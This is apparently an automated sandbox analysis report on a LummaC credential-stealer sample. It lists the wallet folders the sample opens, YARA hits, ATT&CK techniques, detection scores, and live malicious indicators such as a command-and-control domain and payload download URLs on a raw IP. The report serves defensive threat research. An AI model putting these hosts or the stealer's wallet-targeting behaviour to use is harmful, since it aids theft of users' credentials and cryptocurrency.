Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DWTHNHNNJB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DWTHNHNNJB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DWTHNHNNJB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\DWTHNHNNJB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GNLQNHOLWB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\IZMFBFKMEB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\MIVTQDBATG	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\FAAGWHBVUU	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BQJUWOYRTO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ERWQDBYZVW	Jump to behavior

Source: Yara match	File source: 00000000.00000003.1489031849.00000000017CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1506159813.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1506112755.00000000017CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1491292627.00000000017D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 7316, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	12 Process Injection	35 Virtualization/Sandbox Evasion	1 OS Credential Dumping	751 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	12 Process Injection	LSASS Memory	35 Virtualization/Sandbox Evasion	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 File and Directory Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	12 Software Packing	LSA Secrets	223 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	32%	ReversingLabs
file.exe	38%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.ZPACK.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.16/steam/random.exe2l	100%	Avira URL Cloud	phishing
https://cook-rain.sbs/apiecked	100%	Avira URL Cloud	malware
https://cook-rain.sbs/_	100%	Avira URL Cloud	malware
https://cook-rain.sbs/apibn	100%	Avira URL Cloud	malware
https://cook-rain.sbs/8	100%	Avira URL Cloud	malware
https://cook-rain.sbs/z	100%	Avira URL Cloud	malware
https://cook-rain.sbs/_OF	100%	Avira URL Cloud	malware
https://cook-rain.sbs/k_	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
cook-rain.sbs	188.114.96.3	true	false	high
s-part-0017.t-0009.t-msedge.net	13.107.246.45	true	false	high
www.google.com	142.250.186.164	true	false	high
s-part-0039.t-0009.t-msedge.net	13.107.246.67	true	false	high
js.monitor.azure.com	unknown	unknown	false	high
mdec.nelreports.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
peepburry828.sbs	false	high
p10tgrace.sbs	false	high
processhol.sbs	false	high
https://cook-rain.sbs/api	false	high
https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js	false	high
p3ar11fter.sbs	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf	chromecache_172.6.dr	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/	chromecache_172.6.dr	false		high
https://cook-rain.sbs/apiecked	file.exe, 00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537880800.00000000017F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537825038.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537455321.00000000017E9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.linkedin.com/cws/share?url=$	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/8	file.exe, 00000000.00000003.1563525062.00000000017E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/Youssef1313	chromecache_172.6.dr	false		high
http://185.215.113.16/steam/random.exe2l	file.exe, 00000000.00000003.1679926131.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1752097745.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1775736342.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://aka.ms/msignite_docs_banner	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-b4da8140-92cf-421c-8b7b-e471d5b9	chromecache_152.6.dr	false		high
http://polymer.github.io/AUTHORS.txt	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml	chromecache_172.6.dr	false		high
https://management.azure.com/subscriptions?api-version=2016-06-01	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md	chromecache_172.6.dr	false		high
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pshelpmechoose	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://aka.ms/feedback/report?space=61	chromecache_172.6.dr	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/_	file.exe, 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://learn-video.azurefd.net/vod/player	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://twitter.com/intent/tweet?original_referer=$	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://github.com/gewarren	chromecache_172.6.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://polymer.github.io/CONTRIBUTORS.txt	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://cook-rain.sbs/apibn	file.exe, 00000000.00000003.1679926131.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md	chromecache_172.6.dr	false		high
https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725	chromecache_172.6.dr	false		high
https://client-api.arkoselabs.com/v2/api.js	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Thraka	chromecache_172.6.dr	false		high
http://polymer.github.io/PATENTS.txt	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://aka.ms/certhelp	chromecache_163.6.dr, chromecache_152.6.dr	false		high
http://185.215.113.16/steam/random.exe	file.exe, 00000000.00000003.1679926131.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1752097745.00000000017C5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1775736342.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.	file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/	file.exe, file.exe, 00000000.00000003.1535358455.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1551350397.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537423191.00000000017DA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679854027.00000000017F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505343070.00000000017FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1506142192.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519743178.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519973761.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1506112755.00000000017CD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534999983.00000000017FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1535023379.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1520384933.00000000017D6000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1563546362.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1519716242.00000000017FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537455321.00000000017E9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1563525062.00000000017E7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1679903557.00000000017FC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mairaw	chromecache_172.6.dr	false		high
https://cook-rain.sbs/z	file.exe, 00000000.00000003.1679854027.00000000017EB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://schema.org	chromecache_152.6.dr	false		high
http://polymer.github.io/LICENSE.txt	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	file.exe, 00000000.00000003.1521260276.00000000060E8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/yourcaliforniaprivacychoices	chromecache_172.6.dr	false		high
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nschonni	chromecache_172.6.dr	false		high
https://videoencodingpublic-hgeaeyeba8gycee3.b01.azurefd.net/public-09ce73a6-05a5-4e4d-b3d7-bd5a8c05	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://cook-rain.sbs/_OF	file.exe, 00000000.00000003.1679926131.0000000001773000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/adegeo	chromecache_172.6.dr	false		high
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/jonschlinkert/is-plain-object	chromecache_163.6.dr, chromecache_152.6.dr	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	file.exe, 00000000.00000003.1520188400.0000000005FDE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cook-rain.sbs/k_	file.exe, 00000000.00000003.1679854027.00000000017EB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1563525062.00000000017E7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://octokit.github.io/rest.js/#throttling	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e	file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000003.1521716983.00000000017FD000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/js-cookie/js-cookie	chromecache_163.6.dr, chromecache_152.6.dr	false		high
http://185.215.113.16/off/def.exe	file.exe, 00000000.00000002.1775736342.00000000017C5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_172.6.dr	false		high
https://channel9.msdn.com/	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1491513071.0000000005FEF000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1491591993.0000000005FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_163.6.dr, chromecache_152.6.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta	file.exe, 00000000.00000003.1535231951.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1534954983.00000000017F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1537386872.00000000017FB000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.107.246.67	s-part-0039.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.7

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557026
Start date and time:	2024-11-17 04:37:14 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@29/64@11/7
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 93.184.221.240, 216.58.206.67, 184.28.89.167, 216.58.206.78, 64.233.184.84, 95.101.150.2, 34.104.35.123, 2.20.245.137, 2.20.245.135, 20.44.10.122, 142.250.185.234, 142.250.184.234, 142.250.74.202, 142.250.181.234, 142.250.186.42, 216.58.206.42, 142.250.185.170, 142.250.184.202, 142.250.186.170, 172.217.18.10, 142.250.185.202, 142.250.185.138, 172.217.18.106, 172.217.16.202, 142.250.186.106, 172.217.16.138, 13.74.129.1, 204.79.197.237, 13.107.21.237, 20.189.173.6, 172.217.18.99, 2.19.126.156, 2.19.126.137, 142.250.186.174
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, onedscolprdcus02.centralus.cloudapp.azure.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a-msedge.net, clients.l.google.com, c1.microsoft.com, onedscolprdwus05.westus.cloudapp.azure.com,
Execution Graph export aborted for target file.exe, PID 7316 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:38:35	API Interceptor	8x Sleep call for process: file.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
13.107.246.67	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	https://www.tryinteract.com/share/quiz/673350c22861f600153c2f9c	Get hash	malicious	Unknown	Browse
	Attachment-914011545-004.pdf	Get hash	malicious	Unknown	Browse
	Sampension-file-846845087.pdf	Get hash	malicious	Captcha Phish	Browse
185.215.113.16	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.16/steam/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	188.114.96.3
s-part-0017.t-0009.t-msedge.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
